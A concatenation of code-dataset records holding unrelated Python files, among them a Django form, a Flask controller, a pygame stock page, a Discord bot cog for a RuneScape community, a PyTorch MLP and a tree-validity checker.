polychatel == 'Введите имя получателя':\r\n","repo_name":"Lisenokstar88/CodeRed-Hakaton-","sub_path":"замена данных в квитанции(черновик, хз робит ли инет).py","file_name":"замена данных в квитанции(черновик, хз робит ли инет).py","file_ext":"py","file_size_in_byte":1009,"program_lang":"python","lang":"ru","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"34263917166","text":"import sys\n\nurlTypes = {\n 'LOCAL' : 0,\n 'AMAZONS3' : 1,\n 'AMAZONS3TORRENT' : 2,\n 'GENERICMIRROR' : 999\n }\n\nTYPES = urlTypes.values()\n\n# add all the defined image types directly to the module so that the standard\n# approach of \"urltypes.URL_TYPE\" will result in the expected enum\nsys.modules[__name__].__dict__.update(urlTypes)\n\ntypeNames = {\n LOCAL : 'Locally Stored',\n AMAZONS3 : 'Amazon S3',\n AMAZONS3TORRENT : 'Amazon S3 BitTorrent',\n GENERICMIRROR : 'Generic Mirror Site'\n }\n\ndisplayNames = {\n LOCAL : 'Download',\n AMAZONS3 : 'Download',\n AMAZONS3TORRENT : 'Download (BitTorrent)',\n GENERICMIRROR : 'Download'\n}\n","repo_name":"sassoftware/mint","sub_path":"mint/urltypes.py","file_name":"urltypes.py","file_ext":"py","file_size_in_byte":715,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"72"} +{"seq_id":"2841072311","text":"from django import forms\n\n\nclass ContactForm(forms.Form):\n\n subject = forms.CharField(\n required = True,\n label = '',\n widget = forms.TextInput(\n attrs = {\n \"placeholder\": \"Enter subject\",\n\n },\n )\n )\n message = forms.CharField(\n label = '',\n required = True,\n help_text = None,\n widget = forms.Textarea(\n\n attrs = {\n \"placeholder\": \"Enter message\",\n\n },\n )\n )\n\n def clean_subject(self):\n return self.cleaned_data['subject']\n\n def clean_message(self):\n return self.cleaned_data['message']\n","repo_name":"batesasho/web-django-nutrition-blog","sub_path":"nutrition_blog/nutrition_blog/email_client/forms.py","file_name":"forms.py","file_ext":"py","file_size_in_byte":749,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"25008552622","text":"from flask_app import app\n\nfrom flask import render_template, redirect, session, request\n\n\n\n\n\n# import the class from friend.py\nfrom flask_app.models.friend import Friend\n\n\n\n\n\n@app.route(\"/\")\ndef index():\n # call the get all classmethod to get all friends\n friends = Friend.get_all()\n print(friends)\n return render_template(\"index.html\", all_friends = friends)\n\n\n@app.route(\"/friend/<int:friend_id>\")\ndef one_friend(friend_id):\n\n data = {\n \"id\" : friend_id\n }\n \n one_friend = Friend.get_one_friend(data)\n\n return render_template(\"show_one.html\", one_friend = one_friend)\n\n\n@app.route(\"/friend/new\")\ndef add_friend():\n\n\n return render_template(\"add_friend.html\")\n\n\n@app.route('/friend/create', methods =[\"POST\"])\ndef create_friend():\n\n data ={\n \"first_name\" : request.form[\"first_name\"],\n \"last_name\" : request.form[\"last_name\"],\n \"age\" : int(request.form[\"age\"]),\n \"occupation\" : request.form[\"occupation\"]\n }\n\n new_friend_id = Friend.create_new_friend(data)\n\n\n return redirect(f'/friend/{new_friend_id}')\n","repo_name":"DivyaRathinasamy/Python","sub_path":"flask_mysql/Friend_Project/flask_app/controllers/friend_controller.py","file_name":"friend_controller.py","file_ext":"py","file_size_in_byte":1084,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"39500612793","text":"import pygame\nfrom pygame.locals import *\nfrom Search import *\nfrom webscrape import *\nfrom graphs import *\n\n\"\"\"\n@Authors: Musaiyab Ali, David Forrest, Sean Brasse\nThe class that displays stock information when a stock is clicked on. This will mimic\nthe favorites menu, but will display the line graph and company name\n\"\"\"\n\n\nclass InfoPage:\n\n\n\n\n # default sizes for screen resolution\n screenWid = 1280\n screenLen = 720\n\n # checker variables to keep track of states\n insearchbar = 0\n hamState = 0\n\n # the text the user is inputing into the search bar\n searchbarText = \"\"\n\n # Empty time string\n updatedTimeText = \"\"\n\n # Empty company name\n companyInitials = \"\"\n\n # Company name\n companyName = \"\"\n\n stockToDisplay=\"\"\n\n updatedstock=1\n def setStock(self,stock):\n self.stockToDisplay=stock\n \n\n def infoPgInit(self):\n\n pygame.init()\n\n # name of the screen\n pygame.display.set_caption('MCM')\n\n tempurl = get_url(self.stockToDisplay)\n self.companyName = get_company_name(tempurl)\n self.updatedTimeText = timeStamp()\n\n # width then Height\n screen = pygame.display.set_mode((self.screenWid, self.screenLen))\n\n # closeLine(self.stockToDisplay)\n # candleStick(self.stockToDisplay)\n # background image\n fillerImag = pygame.image.load(\n \"../course-project-a8-mcm/images/homepageFiles/Background base.png\")\n\n # menu button\n hamburgermenu = pygame.image.load(\n \"../course-project-a8-mcm/images/homepageFiles/HamburgerMenu.png\")\n\n # search bar box\n searchbar = pygame.image.load(\n \"../course-project-a8-mcm/images/homepageFiles/SearchBar.png\")\n\n # back button\n backButton = pygame.image.load(\n \"../course-project-a8-mcm/images/homepageFiles/back2.png\")\n \n candleStickGraph= pygame.image.load(\"../course-project-a8-mcm/FUBUKIv2.png\")\n # candleStickGraph=pygame.transform.scale(candleStickGraph,(160*4,115*4))\n # button and font for search bar\n searchBarButton, searchBarFont, updatedTime, timeFont, companyFont, trash = searchBarInitalize()\n\n backButtonHiddenButton=pygame.Rect(10, 675, 35, 680)\n\n # favorites menu\n # favMenu = pygame.image.load(\n # \"../course-project-a8-mcm/images/homepageFiles/favorites_background.png\")\n\n # screen while program is running\n while True:\n # clears the screen\n screen.fill(0)\n\n # renders all of the hidden buttons\n pygame.draw.rect(screen,[255,255,255], backButtonHiddenButton)\n pygame.draw.rect(screen, [0, 0, 0], searchBarButton)\n\n # renders background and menu buttons\n screen.blit(fillerImag, (0, 0))\n screen.blit(searchbar, (0, 0))\n # screen.blit(hamburgermenu, (0, 0))\n\n screen.blit(backButton, (15, 675))\n\n\n # render search bar text\n searchtext = searchBarFont.render(\n self.searchbarText, True, [0, 0, 0])\n screen.blit(searchtext, (200, 15))\n\n # #render Company Name\n compName = companyFont.render(\n self.companyName, True, [255, 255, 255])\n\n # if self.hamState == 1:\n # screen.blit(favMenu, (0, 0))\n\n # render hidden buttons\n hamHidden = pygame.Rect(0, 0, 100, 100)\n\n # render updated time text\n timeText = timeFont.render(\n self.updatedTimeText, True, [255, 255, 255])\n screen.blit(timeText, (875, 100))\n # )\n\n # renders line graph box\n # lineGraphBox = pygame.Rect(300, 300, 700, 300)\n # pygame.draw.rect(screen, [255, 255, 255], lineGraphBox)\n\n # updates the screen\n # screen.blit(compName, (450, 200))\n if self.updatedstock==0:\n screen.blit(candleStickGraph,(200,200))\n \n pygame.display.update()\n\n # event handler loop\n for event in pygame.event.get():\n # clicking X on window\n if event.type == pygame.QUIT:\n print(\"Exiting Window\")\n pygame.quit()\n exit(0)\n\n # if user clicked hamburger icon\n if event.type == pygame.MOUSEBUTTONDOWN:\n if backButtonHiddenButton.collidepoint(event.pos):\n return 0\n if hamHidden.collidepoint(event.pos):\n if self.hamState == 0:\n self.hamState = 1\n else:\n self.hamState = 0\n\n # whether user clicked into search bar\n if event.type == pygame.MOUSEBUTTONDOWN:\n if searchBarButton.collidepoint(event.pos):\n self.insearchbar = 1\n else:\n self.insearchbar = 0\n\n # if user typed into search bar\n if event.type == pygame.KEYDOWN and self.insearchbar == 1:\n if event.unicode == \"\\r\":\n if search(self.searchbarText):\n temp = get_url(self.searchbarText)\n self.companyName = get_company_name(temp)\n self.stockToDisplay=self.searchbarText\n self.searchbarText = \"\"\n self.updatedTimeText = timeStamp()\n self.updatedstock=1\n else:\n self.searchbarText = updateSearchBarOnKeyPress(\n event, self.searchbarText)\n if self.updatedstock==1:\n self.updatedstock=0\n print(self.stockToDisplay +\" THis IS THe stock\")\n # closeLine(self.stockToDisplay)\n candleStick(self.stockToDisplay)\n candleStickGraph= pygame.image.load(\"../course-project-a8-mcm/candlestick.png\")\n\n\n\n\n# calls the method to run the program\n# test = InfoPage()\n# InfoPage.updatedstock=\"CSCO\"\n# test.infoPgInit()\n","repo_name":"CSE-Courses/course-project-a8-mcm","sub_path":"TempInfoPage.py","file_name":"TempInfoPage.py","file_ext":"py","file_size_in_byte":6240,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"14309206642","text":"import typing as tp\n\n\ndef check_tree(tree: tp.List[tp.List[int]]):\n previous = None\n def _inorder_traverse(pos: int):\n nonlocal previous\n if pos == -1:\n return\n key, left, right = tree[pos]\n if _inorder_traverse(left) == False:\n return False\n if previous and previous >= key:\n return False\n previous = key \n if _inorder_traverse(right) == False:\n return False\n if _inorder_traverse(pos=0) == False:\n return 'INCORRECT' \n return 'CORRECT'\n\ntree = [\n [2, 1, 2],\n [1, -1, -1],\n [3, -1, -1],\n]\nassert check_tree(tree=tree) == 'CORRECT'\n\ntree = [\n [1, 1, 2],\n [2, -1, -1],\n [3, -1, -1],\n]\nassert check_tree(tree=tree) == 'INCORRECT' \n\ntree = [\n [1, -1, 1],\n [2, -1, 2],\n [3, -1, 3],\n [4, -1, 4],\n [5, -1, -1],\n]\nassert check_tree(tree=tree) == 'CORRECT' \n\ntree = [\n [2, -1, 1],\n [5, 2, -1],\n [3, -1, 3],\n [5, -1, -1],\n]\nassert check_tree(tree=tree) == 'INCORRECT' \n\n","repo_name":"ViAchKoN/Courses-Python-Stepik-Algorithms_theory_and_practice_Data_structures","sub_path":"4 Search Trees/check_tree_property_ver1.py","file_name":"check_tree_property_ver1.py","file_ext":"py","file_size_in_byte":1018,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"72"} +{"seq_id":"22450515861","text":"# -*- coding: utf-8 -*-\r\nimport discord\r\nfrom discord.ext import commands\r\nimport sys\r\nimport requests\r\nfrom bs4 import BeautifulSoup\r\nfrom discord.ext.commands.cooldowns import BucketType\r\nimport os\r\nimport aiohttp\r\nimport random\r\n\r\n\r\nclass CommandsCog(commands.Cog):\r\n\tdef __init__(self, bot):\r\n\t\tself.bot = bot\r\n\t\t\r\n\tasync def visit_website(self, link: str, encoding=\"utf-8\", timeout=5):\r\n\t\ttry:\r\n\t\t\tasync with self.bot.aiohttp_session.get(link, timeout=timeout) as r:\r\n\t\t\t\tresp = await r.text(encoding=encoding)\r\n\t\t\treturn resp\r\n\t\texcept aiohttp.ServerTimeoutError:\r\n\t\t\tprint(\"TimeoutError\")\r\n\t\t\treturn\r\n\t\t\r\n\t@commands.group(name=\"help\", pass_context=True)\r\n\tasync def _help(self, ctx):\r\n\t\t\"\"\" Tell users what your group command is all about here\"\"\"\r\n\t\tif ctx.invoked_subcommand is None:\r\n\t\t\tembed=discord.Embed(title=\"-----------------------------------------\", color=0xff0000)\r\n\t\t\tembed.set_author(name=\"Help\")\r\n\t\t\tembed.add_field(name=\"!commands\", value=\"Shows available commands\", inline=True)\r\n\t\t\tembed.add_field(name=\"!patchnotes\", value=\"Bot's latest updates\", inline=False)\r\n\t\t\tembed.add_field(name=\"!help custom\", value=\"Custom commands help\", inline=False)\r\n\t\t\tembed.set_footer(text=\"Development version\")\t\t\r\n\t\t\tawait ctx.send(embed=embed, delete_after=60)\r\n\t\t\tawait ctx.message.delete()\r\n\t\t\r\n\t#@commands.command(name='help-custom', aliases=['juuheliks'])\r\n\t@_help.command()\r\n\t@commands.guild_only()\r\n\t@commands.has_any_role(\"Admins\", \"Mods\", \"raid\")\r\n\t#async def helpcustom(self, ctx):\r\n\tasync def custom(self, ctx):\r\n\t\tembed=discord.Embed(title=\"-----------------------------------------\", color=0xff0000)\r\n\t\tembed.set_author(name=\"Custom commands\")\r\n\t\tembed.add_field(name=\"!command add\", value='!command add test \"text\"', inline=True)\r\n\t\tembed.add_field(name=\"!command remove\", value='!command remove test', inline=True)\r\n\t\tembed.set_footer(text=\"Use added commands with $ | $test | Development version\")\r\n\t\tawait ctx.send(embed=embed, delete_after=60.0)\r\n\t\tawait ctx.message.delete()\r\n\t\t\r\n\t@commands.group(name=\"region\", pass_context=True)\r\n\tasync def _region(self, ctx):\r\n\t\t\"\"\" Tell users what your group command is all about here\"\"\"\r\n\t\tif ctx.invoked_subcommand is None:\r\n\t\t\tembed=discord.Embed(title=\"-----------------------------------------\", color=0xff0000)\r\n\t\t\tembed.set_author(name=\"Help\")\r\n\t\t\tembed.add_field(name=\"!commands\", value=\"Shows available commands\", inline=True)\r\n\t\t\tembed.add_field(name=\"!patchnotes\", value=\"Bot's latest updates\", inline=False)\r\n\t\t\tembed.add_field(name=\"!help custom\", value=\"Custom commands help\", inline=False)\r\n\t\t\tembed.set_footer(text=\"Development version\")\t\t\r\n\t\t\tawait ctx.send(embed=embed, delete_after=60)\r\n\t\t\tawait ctx.message.delete()\r\n\t\t\r\n\t@_region.command()\r\n\t@commands.guild_only()\r\n\t@commands.has_any_role(\"Admins\", \"Mods\", \"raid\")\r\n\t@commands.cooldown(1, 900, BucketType.guild) \r\n\t# Limit how often a command can be used, (num per, seconds, Buckettype.default/user/server/channel)\r\n\t#regions: amsterdam, brazil, eu_central, eu_west, frankfurt, hongkong, japan, london, russia\r\n\t#regions: singapore, southafrica, sydney, us_central, us_east, us_south, us_west, \r\n\tasync def change(self, ctx):\r\n\t\tlist = [\"russia\", \"eu-central\", \"eu-west\"]\r\n\t\t#print(ctx.guild.region)\r\n\t\t#await ctx.send(ctx.guild.region)\r\n\t\tregion = str(ctx.guild.region)\r\n\t\ttry:\r\n\t\t\tif region == str(\"russia\"):\r\n\t\t\t\tprint(\"Server region changed to eu-west\")\r\n\t\t\t\tawait ctx.send(\"Server region changed to `eu-west`\")\r\n\t\t\t\tawait ctx.guild.edit(region=\"eu-west\")\r\n\t\t\t\tawait ctx.message.delete()\r\n\t\t\telif region == str(\"eu-west\"):\t\r\n\t\t\t\tprint(\"Server region changed to eu-central\")\r\n\t\t\t\tawait ctx.send(\"Server region changed to `eu-central`\")\r\n\t\t\t\tawait ctx.guild.edit(region=\"eu-central\")\r\n\t\t\t\tawait ctx.message.delete()\r\n\t\t\telif region == str(\"eu-central\"):\r\n\t\t\t\tprint(\"Server region changed to russia\")\r\n\t\t\t\tawait ctx.send(\"Server region changed to `russia`\")\r\n\t\t\t\tawait ctx.guild.edit(region=\"russia\")\r\n\t\t\t\tawait ctx.message.delete()\r\n\t\t\telse:\r\n\t\t\t\tprint(\"Palvelinta ei ole\")\r\n\t\t\t\tprint(ctx.guild.region)\r\n\t\t\t\tawait ctx.message.delete()\r\n\t\t\t\treturn\r\n\t\texcept NameError:\r\n\t\t\tpass\r\n\t\t\treturn\r\n\r\n\t@commands.command(name='patchnotes', aliases=['pn'])\r\n\t@commands.guild_only()\r\n\tasync def patchnotes(self, ctx):\r\n\t\tpath = \"{}/customfiles/\".format(os.path.dirname(__file__))\r\n\t\tif path == \"/\":\r\n\t\t\tpath = \"\"\r\n\t\twith open(f\"{path}changelog.txt\", \"r\", encoding=\"utf-8\") as file:\r\n\t\t\tchangelog = file.read()\r\n\t\tembed = discord.Embed(title=\"Latest changes\", description=changelog, color=0xff0000)\r\n\t\tawait ctx.send(embed=embed, delete_after=60)\r\n\t\tawait ctx.message.delete()\r\n\t\r\n\t@commands.command(name='commands', aliases=['komennot'])\r\n\t@commands.guild_only()\r\n\tasync def commmands(self, ctx):\r\n\t\tpath = \"{}/customfiles/\".format(os.path.dirname(__file__))\r\n\t\tif path == \"/\":\r\n\t\t\tpath = \"\"\r\n\t\twith open(f\"{path}commands.txt\", \"r\", encoding=\"utf-8\") as file:\r\n\t\t\tchangelog = file.read()\r\n\t\tembed = discord.Embed(title=\"All the available commands for the bot.\", description=changelog, color=0xff0000)\r\n\t\tawait ctx.send(embed=embed, delete_after=60.0)\r\n\t\tawait ctx.message.delete()\r\n\r\n\t@commands.command(name=\"info\", aliases=['kuinkakauanolenollutdiscordissa', 'whenautismstart', 'whenmysociallifeended', 'joined', 'liittymisaika'])\r\n\t@commands.guild_only()\r\n\t@commands.cooldown(1,5,BucketType.user)\r\n\t# Limit how often a command can be used, (num per, seconds, Buckettype.default/user/guild/channel)\r\n\tasync def info(self, ctx):\r\n\t\tuser = ctx.message.author\r\n\t\tembed = discord.Embed(title=\"{}'s info\".format(user.name), color=0x00ff00) #description=\"Here's what I could find.\"\r\n\t\tembed.add_field(name=\"Name\", value=user.name, inline=True)\r\n#\t\tembed.add_field(name=\"Highest role\", value=user.top_role)\r\n\t\tembed.add_field(name=\"Joined\", value=user.joined_at)\r\n\t\tembed.set_thumbnail(url=user.avatar_url)\r\n\t\tawait ctx.send(embed=embed, delete_after=60.0)\r\n\t\tawait ctx.message.delete()\r\n\r\n\t@commands.command()\r\n\t@commands.guild_only()\r\n\tasync def miekka(self, ctx):\r\n\t\tuser = ctx.message.author\r\n\t\tawait ctx.send(f\"{user.name} <:Attack_icon:548862941873831962>\", delete_after=30.0)\r\n\t\tawait ctx.message.delete()\r\n\r\n\t@commands.command()\r\n\t@commands.guild_only()\r\n\tasync def kruunu(self, ctx):\r\n\t\tuser = ctx.message.author\r\n\t\tawait ctx.send(f\"{user.name} 👑\", delete_after=30.0)\r\n\t\tawait ctx.message.delete()\r\n\r\n\t\t\r\n\t#Koodia lainattu, mutta kirjoitettu rewriten kanssa toimivaksi. https://github.com/Visperi/OsrsHelper \r\n\t@commands.command(name='vanhaupdate', aliases=['vanhaupdateosrs'])\r\n\t@commands.guild_only()\r\n\tasync def latest_update(self, ctx):\r\n\t\tdates = []\r\n\t\tnews_html = []\r\n\t\tarticle_numbers = []\r\n\t\tchannel = ctx.guild.get_channel(407630051127984130)\r\n\t\tlink = \"http://oldschool.runescape.com/\"\r\n\t\ttry:\r\n\t\t\thtml = requests.get(link, timeout=4).text\r\n\t\texcept requests.exceptions.ReadTimeout:\r\n\t\t\tawait channel.send(\"Sivu ei vastaa!\")\r\n\t\t\treturn\r\n\t\ttry:\r\n\t\t\thtml_parsed = BeautifulSoup(html, \"html.parser\")\r\n\t\t\tfor i in html_parsed.findAll(\"time\"):\r\n\t\t\t\tif i.has_attr(\"datetime\"):\r\n\t\t\t\t\tdates.append(i[\"datetime\"])\r\n\t\t\tlatest_date = max(dates)\r\n\t\t\t\t\t\t\t\t\t\t#Hakee div classista news-article detailit\r\n\t\t\tfor j in html_parsed.find_all(\"div\", attrs={\"class\": \"news-article__details\"}):\r\n\t\t\t\tif j.find(\"time\")[\"datetime\"] == latest_date:\r\n\t\t\t\t\tnews_html.append(j.find(\"p\"))\r\n\t\t\t\t\t\t\t\t\t\t#Appendaa artikkeli linkit järjestykseen\r\n\t\t\tfor k in news_html:\t\t\t\t\r\n\t\t\t\tarticle_number = int(k.find(\"a\")[\"id\"].replace(\"news-article-link-\", \"\"))\r\n\t\t\t\tarticle_numbers.append(article_number)\r\n\t\t\tmin_article_nr = min(article_numbers)\r\n\t\t\t\t\t\t\t\t\t\t#Hakee viimisimmän artikkelin ja postaa sen kanavalle.\r\n\t\t\tfor l in news_html:\r\n\t\t\t\tarticle_number = int(l.find(\"a\")[\"id\"].replace(\"news-article-link-\", \"\"))\r\n\t\t\t\tif article_number == min_article_nr:\r\n\t\t\t\t\tnews_link = l.find(\"a\")[\"href\"]\r\n\t\t\t\t\tawait channel.send(f\"Old School RuneScape's latest updates {news_link}\")\r\n\t\t\t\t\tawait ctx.message.delete()\r\n\t\t\t\t\treturn\r\n\t\texcept AttributeError:\r\n\t\t\t\tpass\r\n\t\t\t\t\r\n\t#Koodia lainattu, mutta kirjoitettu rewriten kanssa toimivaksi. https://github.com/Visperi/OsrsHelper\r\n\t@commands.command(name='wiki', aliases=['wikii'])\r\n\t@commands.guild_only()\r\n\tasync def search_wiki(self, message, *, arg):\r\n\t\tbaselink = \"https://oldschool.runescape.wiki/w/\"\t\t\t\t\t\t\t\t#Linkki minkä perään lisätään hakusanat\r\n\t\tchannel = message.guild.get_channel(407630051127984130)\t\t\t\t\t\t\t#Kanava millä tämä komento toimii\r\n\t\tsearch = \"\".join(arg).replace(\" \", \"_\")\t\t\t\t\t\t\t\t\t\t\t#Haku, missä haetaan hakusanat perään\r\n\t\tsearch_link = baselink + search\t\t\t\t\t\t\t\t\t\t\t\t\t#Yhdistetään linkki ja hakusanat\r\n\t\tresponse = requests.get(search_link).text\t\t\t\t\t\t\t\t\t\t#Haetaan vastaus, hakusanoilla tehdystä linkistä\r\n\t\tif f\"This page doesn't exist on the wiki. Maybe it should?\" in response:\r\n\t\t\thyperlinks = []\r\n\t\t\ttruesearch_link = f\"https://oldschool.runescape.wiki/w/Special:Search?search={search}\"\r\n\t\t\ttruesearch_resp = requests.get(truesearch_link).text\r\n\r\n\t\t\t# parse html\r\n\t\t\tresults_html = BeautifulSoup(truesearch_resp, \"html.parser\")\r\n\t\t\tresult_headings = results_html.findAll(\"div\", class_=\"mw-search-result-heading\")\r\n\t\t\tif len(result_headings) == 0:\r\n\t\t\t\tawait channel.send(\"Hakusanalla/hakusanoilla ei löytynyt yhtään sivua.\")\r\n\t\t\t\tawait message.message.delete()\r\n\t\t\t\treturn\r\n\t\t\tfor result in result_headings[:5]:\r\n\t\t\t\tlink_end = result.find(\"a\")[\"href\"]\r\n\t\t\t\tlink_title = result.find(\"a\")[\"title\"]\r\n\t\t\t\thyperlinks.append(f\"[{link_title}](https://oldschool.runescape.wiki{link_end})\")\r\n\t\t\tembed = discord.Embed(title=\"Mahdollinen lista tuloksista\", color=6564126, description=\"\\n\".join(hyperlinks))\r\n\t\t\tawait channel.send(embed=embed, delete_after=300.0)\r\n\t\t\tawait message.message.delete()\r\n\t\telse:\r\n\t\t\tawait channel.send(f\"<{search_link}>\", delete_after=500.0)\r\n\t\t\tawait message.message.delete()\r\n\t\t\t\r\n\t@commands.command(name=\"update\")\r\n\t@commands.guild_only()\r\n\tasync def osrs_latest_news(self, ctx):\r\n\t\t\"\"\"\r\n\t\tParse Old School Runescape homepage for latest game and community news and send a links to them.\r\n\t\t:param ctx:\r\n\t\t:return:\r\n\t\t\"\"\"\r\n\t\tchannel = ctx.guild.get_channel(407630051127984130)#407630051127984130\r\n\t\tgame_articles = {}\r\n\t\tcommunity_articles = {}\r\n\r\n\t\ttry:\r\n\t\t\tif ctx.message.channel == channel:\r\n\t\t\t\tlink = \"http://oldschool.runescape.com/\"\r\n\t\t\t\tosrs_response = await self.visit_website(link)\r\n\t\t\t\tosrs_response_html = BeautifulSoup(osrs_response, \"html.parser\")\r\n\t\t\t\t\r\n\t\t\t\tfor div_tag in osrs_response_html.findAll(\"div\", attrs={\"class\": \"news-article__details\"}):\r\n\t\t\t\t\tp_tag = div_tag.p\r\n\t\t\t\t\t# Somehow the article types always end in space so leave it out\r\n\t\t\t\t\tarticle_type = div_tag.span.contents[0][:-1]\r\n\t\t\t\t\tarticle_link = p_tag.a[\"href\"]\r\n\t\t\t\t\tarticle_number = p_tag.a[\"id\"][-1]\r\n\t\t\t\t\tif article_type == \"Game Updates\":\r\n\t\t\t\t\t\tgame_articles[article_number] = article_link\r\n\t\t\t\t\telif article_type == \"Community\":\r\n\t\t\t\t\t\tcommunity_articles[article_number] = article_link\r\n\r\n\t\t\t\t# Find the smallest article numbers for both article types\r\n\t\t\t\tmin_article_game = min(game_articles.keys())\r\n\t\t\t\tmin_article_community = min(community_articles.keys())\r\n\r\n\t\t\t\tgame_link = game_articles[min_article_game]\r\n\t\t\t\tcommunity_link = community_articles[min_article_community]\r\n\r\n\t\t\t\tawait channel.send(f\"Uusimmat tapahtumat Old School Runescapessa.\\n\\n\"\r\n\t\t\t\t\t\t\t\tf\"Pelin päivitykset: {game_link}\\n\"\r\n\t\t\t\t\t\t\t\tf\"Yhteisön päivitykset: {community_link}\", delete_after=300.0)\r\n\t\t\t\tawait ctx.message.delete()\r\n\t\t\telif ctx.message.channel != channel:\r\n\t\t\t\tawait ctx.send(\"Et voi käyttä `!update` komentoa tällä kanavalla. Komento toimii vain `#RS` kanavalla\", delete_after=20.0)\r\n\t\t\t\tawait ctx.message.delete()\r\n\t\t\telse:\r\n\t\t\t\tprint(\"Every broke\")\r\n\t\texcept NameError:\r\n\t\t\tpass\r\n\r\n\t@commands.command()\r\n\t@commands.guild_only()\r\n\t@commands.cooldown(1, 10, BucketType.user) \r\n\t# Limit how often a command can be used, (num per, seconds, Buckettype.default/user/guild/channel)\r\n\tasync def kissu(self, ctx):\r\n\t\tr = requests.get('https://aws.random.cat/meow')\r\n\t\tcat = str(r.json()['file'])\r\n\t\tembed = discord.Embed(title=\"\", colour=0x03C9A9)\r\n\t\tembed.set_image(url=cat)\r\n\t\t#print(ctx.message.mentions)\r\n\t\tif ctx.message.role_mentions:\r\n\t\t\tawait ctx.message.delete()\r\n\t\telif ctx.message.mentions:\r\n\t\t\tawait ctx.message.delete()\r\n\t\telse:\r\n\t\t\tawait ctx.send(embed=embed, delete_after=25.0) \r\n\t\t\tawait ctx.message.delete()\r\n\t\t\t\r\n\t@kissu.error\r\n\tasync def kissu_error(self, ctx, error):\r\n\t\tif isinstance(error, commands.CommandOnCooldown):\r\n\t\t\t\tawait ctx.message.delete()\r\n\t\t\t\t#return await ctx.send(f\"Olet tällä hetkellä jäähyllä \", delete_after=10.0)\r\n\t\t\t\treturn\r\n\t\t\t\t\r\n# The setup function below is necessary. Remember we give bot.add_cog() the name of the class in this case CommandsCog.\r\n# When we load the cog, we use the name of the file.\r\ndef setup(bot):\r\n\tbot.add_cog(CommandsCog(bot))\r\n\r\n","repo_name":"JamiJ/prifibot","sub_path":"cogs/commands.py","file_name":"commands.py","file_ext":"py","file_size_in_byte":12798,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"35159566208","text":"class Solution:\n def maximumImportance(self, n: int, roads: list[list[int]]) -> int:\n conn = [0]*n\n for road in roads:\n conn[road[0]] += 1\n conn[road[1]] += 1\n conn.sort()\n return sum([(i+1)*conn[i] for i in range(n)])\n\n\nif __name__ == '__main__':\n n, roads = 5, [[0, 1], [1, 2], [2, 3], [0, 2], [1, 3], [2, 4]]\n print(f\"{n , roads }\")\n print('----------Answer Below----------')\n print(Solution().maximumImportance(n, roads))\n","repo_name":"showboy0704/leetcode","sub_path":"Data Structure/Graph/2285_max_importance_roads.py","file_name":"2285_max_importance_roads.py","file_ext":"py","file_size_in_byte":491,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"4369492653","text":"from torch.nn.functional import softplus\nfrom torch import distributions as td\nimport torch\n\n\nclass MlpModel(torch.nn.Module):\n \"\"\"Multilayer Perceptron with last layer linear.\n\n Args:\n input_size (int): number of inputs\n hidden_sizes (list): can be empty list for none (linear model).\n output_size: linear layer at output, or if ``None``, the last hidden size will be the output size and will have nonlinearity applied\n nonlinearity: torch nonlinearity Module (not Functional).\n \"\"\"\n\n def __init__(\n self,\n input_size,\n hidden_sizes, # Can be empty list or None for none.\n output_size=None, # if None, last layer has nonlinearity applied.\n nonlinearity=torch.nn.ReLU, # Module, not Functional.\n ):\n super().__init__()\n if isinstance(hidden_sizes, int):\n hidden_sizes = [hidden_sizes]\n elif hidden_sizes is None:\n hidden_sizes = []\n hidden_layers = [torch.nn.Linear(n_in, n_out) for n_in, n_out in\n zip([input_size] + hidden_sizes[:-1], hidden_sizes)]\n sequence = list()\n for layer in hidden_layers:\n sequence.extend([layer, nonlinearity()])\n if output_size is not None:\n last_size = hidden_sizes[-1] if hidden_sizes else input_size\n sequence.append(torch.nn.Linear(last_size, output_size))\n self.model = torch.nn.Sequential(*sequence)\n self._output_size = (hidden_sizes[-1] if output_size is None\n else output_size)\n\n def forward(self, input):\n \"\"\"Compute the model on the input, assuming input shape [B,input_size].\"\"\"\n return self.model(input)\n\n @property\n def output_size(self):\n \"\"\"Retuns the output size of the model.\"\"\"\n return self._output_size\n\n\nclass StochMlpModel(MlpModel):\n def __init__(self, input_size, hidden_sizes, output_size, min_std=0.1, fixed_std=None, squeeze=True, dist='normal', **kwargs):\n if dist == 'normal' and fixed_std is None:\n output_size *= 2\n super().__init__(input_size, hidden_sizes, output_size=output_size, **kwargs)\n self.min_std = min_std\n self.squeeze = squeeze\n self.dist = dist\n self.fixed_std = fixed_std\n\n def forward(self, x):\n x = self.model(x)\n if self.dist == 'normal':\n if self.fixed_std:\n if self.squeeze:\n x = x.squeeze(-1)\n dist = td.Normal(x, self.fixed_std)\n else:\n mean, std = torch.chunk(x, 2, dim=-1)\n std = softplus(std) + self.min_std\n if self.squeeze:\n mean = mean.squeeze(-1)\n std = std.squeeze(-1)\n dist = td.Normal(mean, std)\n elif self.dist == \"binary\":\n if self.squeeze:\n x = x.squeeze(-1)\n dist = td.Bernoulli(logits=x)\n\n return dist\n","repo_name":"AlexanderKoch-Koch/learning_from_feedback","sub_path":"learning_from_feedback/mlp.py","file_name":"mlp.py","file_ext":"py","file_size_in_byte":3002,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"72"} +{"seq_id":"11857823096","text":"import sys\nimport os\n\nfrom openalea.mtg import *\nfrom openalea.lpy import *\nfrom openalea.mtg.io import axialtree2mtg\nfrom openalea.deploy.shared_data import shared_data\nfrom openalea import self_similarity\n\nfrom openalea.self_similarity.Cst import *\nfrom openalea.self_similarity.Newmtg2graph import *\nfrom openalea.self_similarity.Mtg2tulip import *\n\nfrom datetime import datetime\n\n# =========================================================\n\nfrom openalea.tree_matching.mtgmatching import *\n\nclass MtgNodeCost(NodeCost):\n def getDeletionCost(self,a) : return 1\n def getInsertionCost(self,b) : return 1\n def getChangingCost(self,a,b) : return 0\n\n# =========================================================\n\nshared = shared_data(self_similarity)\n\n# The full database is here: 